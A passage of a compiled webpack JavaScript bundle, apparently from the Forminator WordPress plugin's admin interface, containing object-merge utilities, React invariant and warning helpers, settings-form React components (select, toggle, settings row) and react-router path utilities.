 * When multiple objects contain the same key the later object in
 * the arguments list will take precedence.
 *
 * Example:
 *
 * ```js
 * var result = merge({foo: 123}, {foo: 456});
 * console.log(result.foo); // outputs 456
 * ```
 *
 * @param {Object} obj1 Object to merge
 * @returns {Object} Result of all merge properties
 */
function merge(/* obj1, obj2, obj3, ... */) {
  var result = {};
  function assignValue(val, key) {
    if (typeof result[key] === 'object' && typeof val === 'object') {
      result[key] = merge(result[key], val);
    } else {
      result[key] = val;
    }
  }

  for (var i = 0, l = arguments.length; i < l; i++) {
    forEach(arguments[i], assignValue);
  }
  return result;
}

/**
 * Extends object a by mutably adding to it the properties of object b.
 *
 * @param {Object} a The object to be extended
 * @param {Object} b The object to copy properties from
 * @param {Object} thisArg The object to bind function to
 * @return {Object} The resulting value of object a
 */
function extend(a, b, thisArg) {
  forEach(b, function assignValue(val, key) {
    if (thisArg && typeof val === 'function') {
      a[key] = bind(val, thisArg);
    } else {
      a[key] = val;
    }
  });
  return a;
}

module.exports = {
  isArray: isArray,
  isArrayBuffer: isArrayBuffer,
  isBuffer: isBuffer,
  isFormData: isFormData,
  isArrayBufferView: isArrayBufferView,
  isString: isString,
  isNumber: isNumber,
  isObject: isObject,
  isUndefined: isUndefined,
  isDate: isDate,
  isFile: isFile,
  isBlob: isBlob,
  isFunction: isFunction,
  isStream: isStream,
  isURLSearchParams: isURLSearchParams,
  isStandardBrowserEnv: isStandardBrowserEnv,
  forEach: forEach,
  merge: merge,
  extend: extend,
  trim: trim
};


/***/ }),
/* 15 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/**
 * Copyright (c) 2013-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */



/**
 * Use invariant() to assert state which your program assumes to be true.
 *
 * Provide sprintf-style format (only %s is supported) and arguments
 * to provide information about what broke and what you were
 * expecting.
 *
 * The invariant message will be stripped in production, but the invariant
 * will remain to ensure logic does not differ in production.
 */

var invariant = function(condition, format, a, b, c, d, e, f) {
  if (process.env.NODE_ENV !== 'production') {
    if (format === undefined) {
      throw new Error('invariant requires an error message argument');
    }
  }

  if (!condition) {
    var error;
    if (format === undefined) {
      error = new Error(
        'Minified exception occurred; use the non-minified dev environment ' +
        'for the full error message and additional helpful warnings.'
      );
    } else {
      var args = [a, b, c, d, e, f];
      var argIndex = 0;
      error = new Error(
        format.replace(/%s/g, function() { return args[argIndex++]; })
      );
      error.name = 'Invariant Violation';
    }

    error.framesToPop = 1; // we don't care about invariant's own frame
    throw error;
  }
};

module.exports = invariant;

/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))

/***/ }),
/* 16 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var SettingsRow = function (_Component) {
	_inherits(SettingsRow, _Component);

	function SettingsRow(props) {
		_classCallCheck(this, SettingsRow);

		return _possibleConstructorReturn(this, (SettingsRow.__proto__ || Object.getPrototypeOf(SettingsRow)).call(this, props));
	}

	_createClass(SettingsRow, [{
		key: 'render',
		value: function render() {
			var content = _react2.default.Children.map(this.props.children, function (children) {
				return children;
			});

			var label = '';

			if (this.props.label && '' !== this.props.label) {
				label = _react2.default.createElement(
					'span',
					{ className: 'sui-settings-label' + ('' + (this.props.labelDark === true ? ' sui-dark' : '')) },
					this.props.label
				);
			}

			var description = '';
			var descriptionSpacing = 10;

			if (!_.isUndefined(this.props.descriptionSpacing) && '' !== this.props.descriptionSpacing) {
				descriptionSpacing = this.props.descriptionSpacing;
			}

			if (!_.isUndefined(this.props.description) && '' !== this.props.description) {
				if (this.props.sidebar === false) {
					description = _react2.default.createElement(
						'span',
						{
							className: 'sui-description',
							style: { marginBottom: descriptionSpacing + 'px' }
						},
						this.props.description
					);
				} else {
					description = _react2.default.createElement(
						'span',
						{ className: 'sui-description' },
						this.props.description
					);
				}
			}

			var sidebar = '';

			if (this.props.label && '' !== this.props.label || this.props.description && '' !== this.props.description) {
				sidebar = _react2.default.createElement(
					'div',
					{ className: 'sui-box-settings-col-1' },
					label,
					description
				);
			}

			var conditionalStyles = this.props.lastChild ? { marginBottom: 0, borderBottom: 'unset' } : {};

			return _react2.default.createElement(
				'div',
				{ className: 'sui-box-settings-row', style: conditionalStyles },
				(_.isUndefined(this.props.sidebar) || this.props.sidebar !== false) && sidebar,
				_react2.default.createElement(
					'div',
					{ className: 'sui-box-settings-col-2' },
					!_.isUndefined(this.props.sidebar) && this.props.sidebar === false && label,
					!_.isUndefined(this.props.sidebar) && this.props.sidebar === false && description,
					content
				)
			);
		}
	}]);

	return SettingsRow;
}(_react.Component);

exports.default = SettingsRow;

/***/ }),
/* 17 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var SuiSelect2 = function (_Component) {
	_inherits(SuiSelect2, _Component);

	function SuiSelect2(props) {
		_classCallCheck(this, SuiSelect2);

		var _this = _possibleConstructorReturn(this, (SuiSelect2.__proto__ || Object.getPrototypeOf(SuiSelect2)).call(this, props));

		_this.updateValue = _this.updateValue.bind(_this);
		_this.afterSave = _this.afterSave.bind(_this);
		return _this;
	}

	_createClass(SuiSelect2, [{
		key: 'componentDidMount',
		value: function componentDidMount() {
			this.$el = jQuery(this.el);

			var parent = this.$el.closest('.sui-modal-content');
			var parentId = parent.attr('id');
			var hasSearch = this.props.hasSearch ? 0 : -1;

			var options = Object.assign({
				dropdownParent: parent.length ? jQuery('#' + parentId) : jQuery('body[class*="sui-"]'),
				minimumResultsForSearch: hasSearch,
				dropdownCssClass: this.$el.hasClass('sui-select-sm') ? 'sui-select-dropdown-sm' : '',
				width: '100%'
			}, this.props.options);

			if (typeof this.$el.SUIselect2 === 'function') {
				this.$el.SUIselect2(options);
			} else if (typeof this.$el.FUIselect2 === 'function') {
				this.$el.FUIselect2(options);
			} else {
				throw Error('SUI Select2 not initiated');
			}

			this.updateValue = this.updateValue.bind(this);
			this.$el.on('change', this.updateValue);

			if (this.props.triggerChange) {
				this.$el.trigger('change');
			}
		}
	}, {
		key: 'updateValue',
		value: function updateValue(e) {
			var value = jQuery(e.target).val();

			// Check if we're on field settings
			if (typeof this.props.updateProperty === 'function') {
				// Update field state
				this.props.updateProperty(this.props.property, value);
			} else {
				// Update store
				this.props.actions.settingsActions.updateSetting(this.props.property, value);
			}

			this.afterSave(value);
		}
	}, {
		key: 'afterSave',
		value: function afterSave() {
			return false;
		}
	}, {
		key: 'componentWillUnmount',
		value: function componentWillUnmount() {
			this.$el.off('change', this.updateValue);
			this.$el.unbind().removeData();
		}
	}, {
		key: 'render',
		value: function render() {
			var _this2 = this;

			var value = _.isUndefined(this.props.settings[this.props.property]) ? this.props.defaultValue : this.props.settings[this.props.property];

			var divClass = !_.isUndefined(this.props.fieldClass) ? 'sui-form-field ' + this.props.fieldClass : 'sui-form-field';

			var selectId = !_.isUndefined(this.props.elementId) ? this.props.elementId : this.props.property;

			var inputLabel = void 0;

			if (this.props.label) {
				inputLabel = _react2.default.createElement(
					'label',
					{
						htmlFor: 'forminator-field-' + this.props.property,
						className: 'sui-label'
					},
					this.props.label,
					'\xA0',
					this.props.required && _react2.default.createElement(
						'span',
						{ className: 'sui-error' },
						' *'
					),
					this.props.note && _react2.default.createElement(
						'span',
						{ className: 'sui-label-note' },
						this.props.note
					)
				);
			}

			var multiple = this.props.multiple;

			var _props = this.props,
			    formType = _props.formType,
			    updateProperty = _props.updateProperty,
			    noWrapper = _props.noWrapper,
			    fieldClass = _props.fieldClass,
			    staticContext = _props.staticContext,
			    formDesign = _props.formDesign,
			    fieldSize = _props.fieldSize,
			    selectProps = _objectWithoutProperties(_props, ['formType', 'updateProperty', 'noWrapper', 'fieldClass', 'staticContext', 'formDesign', 'fieldSize']);

			var getSelect = _react2.default.createElement(
				'select',
				_extends({
					id: 'forminator-field-' + selectId,
					className: 'sui-select',
					ref: function ref(el) {
						return _this2.el = el;
					},
					defaultValue: value,
					multiple: multiple
				}, selectProps),
				this.props.children
			);

			var getElement = _react2.default.createElement(
				'select',
				{
					id: 'forminator-field-' + selectId,
					className: 'sui-select',
					ref: function ref(el) {
						return _this2.el = el;
					},
					defaultValue: value,
					multiple: multiple
				},
				this.props.children
			);

			if ('md' === this.props.fieldsize || 'medium' === this.props.fieldsize) {
				getElement = _react2.default.createElement(
					'div',
					{ className: 'sui-form-field sui-input-md' },
					getSelect
				);
			} else if ('sm' === this.props.fieldsize || 'small' === this.props.fieldsize) {
				getElement = _react2.default.createElement(
					'div',
					{ className: 'sui-form-field sui-input-sm' },
					getSelect
				);
			} else if (!_.isUndefined(this.props.fieldsize) && '' !== this.props.fieldsize) {
				getElement = _react2.default.createElement(
					'div',
					{ style: { width: '100%', maxWidth: this.props.fieldsize + 'px' } },
					getSelect
				);
			}

			if (this.props.noWrapper) {
				return getSelect;
			}

			return _react2.default.createElement(
				'div',
				{ className: divClass },
				inputLabel,
				getElement,
				this.props.description && _react2.default.createElement(
					'span',
					{
						className: 'sui-description',
						style: { marginTop: '10px' }
					},
					this.props.description
				)
			);
		}
	}]);

	return SuiSelect2;
}(_react.Component);

exports.default = SuiSelect2;

/***/ }),
/* 18 */,
/* 19 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/**
 * Copyright (c) 2014-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 *
 * @providesModule warning
 */



/**
 * Similar to invariant but only logs a warning if the condition is not met.
 * This can be used to log issues in development environments in critical
 * paths. Removing the logging code for production environments will keep the
 * same logic and follow the same code paths.
 */

var __DEV__ = process.env.NODE_ENV !== 'production';

var warning = function() {};

if (__DEV__) {
  var printWarning = function printWarning(format, args) {
    var len = arguments.length;
    args = new Array(len > 2 ? len - 2 : 0);
    for (var key = 2; key < len; key++) {
      args[key - 2] = arguments[key];
    }
    var argIndex = 0;
    var message = 'Warning: ' +
      format.replace(/%s/g, function() {
        return args[argIndex++];
      });
    if (typeof console !== 'undefined') {
      console.error(message);
    }
    try {
      // --- Welcome to debugging React ---
      // This error was thrown as a convenience so that you can use this stack
      // to find the callsite that caused this warning to fire.
      throw new Error(message);
    } catch (x) {}
  }

  warning = function(condition, format, args) {
    var len = arguments.length;
    args = new Array(len > 2 ? len - 2 : 0);
    for (var key = 2; key < len; key++) {
      args[key - 2] = arguments[key];
    }
    if (format === undefined) {
      throw new Error(
          '`warning(condition, format, ...args)` requires a warning ' +
          'message argument'
      );
    }
    if (!condition) {
      printWarning.apply(null, [format].concat(args));
    }
  };
}

module.exports = warning;

/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))

/***/ }),
/* 20 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var SuiSelect = function (_Component) {
	_inherits(SuiSelect, _Component);

	function SuiSelect(props) {
		_classCallCheck(this, SuiSelect);

		var _this = _possibleConstructorReturn(this, (SuiSelect.__proto__ || Object.getPrototypeOf(SuiSelect)).call(this, props));

		_this.updateValue = _this.updateValue.bind(_this);
		return _this;
	}

	_createClass(SuiSelect, [{
		key: 'componentDidMount',
		value: function componentDidMount() {
			this.$el = jQuery(this.el);
			// SUI.select.init( this.$el );

			this.updateValue = this.updateValue.bind(this);
			this.$el.on('change', this.updateValue);
		}
	}, {
		key: 'updateValue',
		value: function updateValue(e) {
			var value = e.target.value;

			// Check if we're on field settings
			if (typeof this.props.updateProperty === 'function') {
				// Update field state
				this.props.updateProperty(this.props.property, value);
			} else {
				// Update store
				this.props.actions.settingsActions.updateSetting(this.props.property, value);
			}
		}
	}, {
		key: 'componentWillUnmount',
		value: function componentWillUnmount() {
			this.$el.off('change', this.updateValue);
			this.$el.unbind().removeData();
		}
	}, {
		key: 'render',
		value: function render() {
			var _this2 = this;

			var value = _.isUndefined(this.props.settings[this.props.property]) ? this.props.defaultValue : this.props.settings[this.props.property];

			var fieldClass = !_.isUndefined(this.props.fieldClass) ? 'sui-form-field ' + this.props.fieldClass : 'sui-form-field';

			var selectClass = !_.isUndefined(this.props.elementClass) ? this.props.elementClass : '';

			var selectId = !_.isUndefined(this.props.elementId) ? this.props.elementId : this.props.property;

			var selectLabel = '';

			if (this.props.label) {
				selectLabel = _react2.default.createElement(
					'label',
					{
						htmlFor: 'forminator-field-' + this.props.property,
						id: 'forminator-field-' + this.props.property + '-label',
						className: 'sui-label'
					},
					this.props.label,
					'\xA0',
					this.props.required && _react2.default.createElement(
						'span',
						{ className: 'sui-error' },
						' *'
					),
					this.props.note && _react2.default.createElement(
						'span',
						{ className: 'sui-label-note' },
						this.props.note
					)
				);
			}

			// For backwards compatibility.
			if (!_.isUndefined(value) && ('phone_national_country' === this.props.property || 'phone_international_country' === this.props.property)) {
				value = value.toLowerCase();
			}

			var selectField = _react2.default.createElement(
				'select',
				{
					defaultValue: value,
					id: 'forminator-field-' + selectId,
					className: selectClass,
					'aria-labelledby': 'forminator-field-' + selectId + '-label',
					ref: function ref(el) {
						return _this2.el = el;
					},
					style: { maxWidth: 'none' }
				},
				this.props.children
			);

			var getElement = selectField;

			if ('md' === this.props.fieldsize || 'medium' === this.props.fieldsize) {
				getElement = _react2.default.createElement(
					'div',
					{ className: 'sui-form-field sui-input-md' },
					selectField
				);
			} else if ('sm' === this.props.fieldsize || 'small' === this.props.fieldsize) {
				getElement = _react2.default.createElement(
					'div',
					{ className: 'sui-form-field sui-input-sm' },
					selectField
				);
			} else if ('' !== this.props.fieldsize) {
				getElement = _react2.default.createElement(
					'div',
					{ style: { width: '100%', maxWidth: this.props.fieldsize + 'px' } },
					selectField
				);
			}

			var getField = getElement;

			if (!this.props.simple) {
				getField = _react2.default.createElement(
					'div',
					{ className: fieldClass },
					selectLabel,
					getElement,
					this.props.description && _react2.default.createElement(
						'span',
						{
							className: 'sui-description',
							style: { marginTop: '10px' }
						},
						this.props.description
					)
				);
			}

			return getField;
		}
	}]);

	return SuiSelect;
}(_react.Component);

exports.default = SuiSelect;

/***/ }),
/* 21 */,
/* 22 */,
/* 23 */
/***/ (function(module, exports) {

module.exports = ReactDOM;

/***/ }),
/* 24 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__createBrowserHistory__ = __webpack_require__(140);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return __WEBPACK_IMPORTED_MODULE_0__createBrowserHistory__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__createHashHistory__ = __webpack_require__(143);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "b", function() { return __WEBPACK_IMPORTED_MODULE_1__createHashHistory__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__createMemoryHistory__ = __webpack_require__(144);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "d", function() { return __WEBPACK_IMPORTED_MODULE_2__createMemoryHistory__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__LocationUtils__ = __webpack_require__(34);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "c", function() { return __WEBPACK_IMPORTED_MODULE_3__LocationUtils__["a"]; });
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "f", function() { return __WEBPACK_IMPORTED_MODULE_3__LocationUtils__["b"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__PathUtils__ = __webpack_require__(28);
/* unused harmony reexport parsePath */
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "e", function() { return __WEBPACK_IMPORTED_MODULE_4__PathUtils__["b"]; });










/***/ }),
/* 25 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var Toggle = function (_Component) {
	_inherits(Toggle, _Component);

	function Toggle(props) {
		_classCallCheck(this, Toggle);

		var _this = _possibleConstructorReturn(this, (Toggle.__proto__ || Object.getPrototypeOf(Toggle)).call(this, props));

		_this.updateValue = _this.updateValue.bind(_this);
		return _this;
	}

	_createClass(Toggle, [{
		key: 'updateValue',
		value: function updateValue(value) {
			// Check if we're on field settings
			if (typeof this.props.updateProperty === 'function') {
				// Update field state
				this.props.updateProperty(this.props.property, value);
			} else {
				// Update store
				this.props.actions.settingsActions.updateSetting(this.props.property, value);
			}
		}
	}, {
		key: 'render',
		value: function render() {
			var _this2 = this;

			var value = _.isUndefined(this.props.settings[this.props.property]) ? '' : this.props.settings[this.props.property];

			var customClass = !_.isUndefined(this.props.customClass) ? this.props.customClass : 'sui-form-control';

			var disabled = !_.isUndefined(this.props.disabled) && this.props.disabled;
			var checked = value && !disabled;

			var toggleContent = _react2.default.createElement(
				'label',
				{ htmlFor: 'forminator-field-' + this.props.property,
					className: 'sui-toggle'
				},
				_react2.default.createElement('input', { type: 'checkbox',
					value: 'true',
					id: 'forminator-field-' + this.props.property,
					className: customClass,
					disabled: disabled ? 'disabled' : '',
					checked: checked ? 'checked' : '',
					onChange: function onChange(e) {
						_this2.updateValue(e.target.checked);
					}
				}),
				_react2.default.createElement('span', { className: 'sui-toggle-slider' }),
				this.props.label && _react2.default.createElement(
					_react2.default.Fragment,
					null,
					_react2.default.createElement(
						'span',
						{ className: 'sui-screen-reader-text' },
						(0, _utils.translate)('Enable'),
						' ',
						this.props.label
					),
					_react2.default.createElement(
						'span',
						{ className: 'sui-toggle-label' },
						this.props.label
					)
				),
				this.props.description && _react2.default.createElement(
					'span',
					{ className: 'sui-description sui-toggle-description' },
					this.props.description
				)
			);

			var subToggle = '';

			if (this.props.children && this.props.settings[this.props.property]) {
				subToggle = _react2.default.createElement(
					_react2.default.Fragment,
					null,
					_react2.default.createElement(
						'div',
						{
							tabIndex: '0',
							className: 'sui-toggle-content sui-border-frame',
							'aria-label': this.props.label
						},
						this.props.children
					)
				);
			}

			if (this.props.unWrap) {
				return _react2.default.createElement(
					_react2.default.Fragment,
					null,
					toggleContent,
					subToggle
				);
			}

			if (!this.props.unWrap) {
				return _react2.default.createElement(
					'div',
					{ className: 'sui-form-field' },
					toggleContent,
					subToggle
				);
			}
		}
	}]);

	return Toggle;
}(_react.Component);

exports.default = Toggle;

/***/ }),
/* 26 */,
/* 27 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__BrowserRouter__ = __webpack_require__(139);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "BrowserRouter", function() { return __WEBPACK_IMPORTED_MODULE_0__BrowserRouter__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__HashRouter__ = __webpack_require__(145);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "HashRouter", function() { return __WEBPACK_IMPORTED_MODULE_1__HashRouter__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__Link__ = __webpack_require__(75);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "Link", function() { return __WEBPACK_IMPORTED_MODULE_2__Link__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__MemoryRouter__ = __webpack_require__(146);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "MemoryRouter", function() { return __WEBPACK_IMPORTED_MODULE_3__MemoryRouter__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__NavLink__ = __webpack_require__(148);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "NavLink", function() { return __WEBPACK_IMPORTED_MODULE_4__NavLink__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_5__Prompt__ = __webpack_require__(150);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "Prompt", function() { return __WEBPACK_IMPORTED_MODULE_5__Prompt__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_6__Redirect__ = __webpack_require__(152);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "Redirect", function() { return __WEBPACK_IMPORTED_MODULE_6__Redirect__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_7__Route__ = __webpack_require__(76);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "Route", function() { return __WEBPACK_IMPORTED_MODULE_7__Route__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_8__Router__ = __webpack_require__(47);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "Router", function() { return __WEBPACK_IMPORTED_MODULE_8__Router__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_9__StaticRouter__ = __webpack_require__(154);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "StaticRouter", function() { return __WEBPACK_IMPORTED_MODULE_9__StaticRouter__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_10__Switch__ = __webpack_require__(156);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "Switch", function() { return __WEBPACK_IMPORTED_MODULE_10__Switch__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_11__generatePath__ = __webpack_require__(158);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "generatePath", function() { return __WEBPACK_IMPORTED_MODULE_11__generatePath__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_12__matchPath__ = __webpack_require__(159);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "matchPath", function() { return __WEBPACK_IMPORTED_MODULE_12__matchPath__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_13__withRouter__ = __webpack_require__(160);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "withRouter", function() { return __WEBPACK_IMPORTED_MODULE_13__withRouter__["a"]; });





























/***/ }),
/* 28 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return addLeadingSlash; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "f", function() { return stripLeadingSlash; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "c", function() { return hasBasename; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "e", function() { return stripBasename; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "g", function() { return stripTrailingSlash; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "d", function() { return parsePath; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "b", function() { return createPath; });
var addLeadingSlash = function addLeadingSlash(path) {
  return path.charAt(0) === '/' ? path : '/' + path;
};

var stripLeadingSlash = function stripLeadingSlash(path) {
  return path.charAt(0) === '/' ? path.substr(1) : path;
};

var hasBasename = function hasBasename(path, prefix) {
  return new RegExp('^' + prefix + '(\\/|\\?|#|$)', 'i').test(path);
};

var stripBasename = function stripBasename(path, prefix) {
  return hasBasename(path, prefix) ? path.substr(prefix.length) : path;
};

var stripTrailingSlash = function stripTrailingSlash(path) {
  return path.charAt(path.length - 1) === '/' ? path.slice(0, -1) : path;
};

var parsePath = function parsePath(path) {
  var pathname = path || '/';
  var search = '';
  var hash = '';

  var hashIndex = pathname.indexOf('#');
  if (hashIndex !== -1) {
    hash = pathname.substr(hashIndex);
    pathname = pathname.substr(0, hashIndex);
  }

  var searchIndex = pathname.indexOf('?');
  if (searchIndex !== -1) {
    search = pathname.substr(searchIndex);
    pathname = pathname.substr(0, searchIndex);
  }

  return {
    pathname: pathname,
    search: search === '?' ? '' : search,
    hash: hash === '#' ? '' : hash
  };
};

var createPath = function createPath(location) {
  var pathname = location.pathname,
      search = location.search,
      hash = location.hash;


  var path = pathname || '/';

  if (search && search !== '?') path += search.charAt(0) === '?' ? search : '?' + search;

  if (hash && hash !== '#') path += hash.charAt(0) === '#' ? hash : '#' + hash;

  return path;
};

/***/ }),
/* 29 */,
/* 30 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

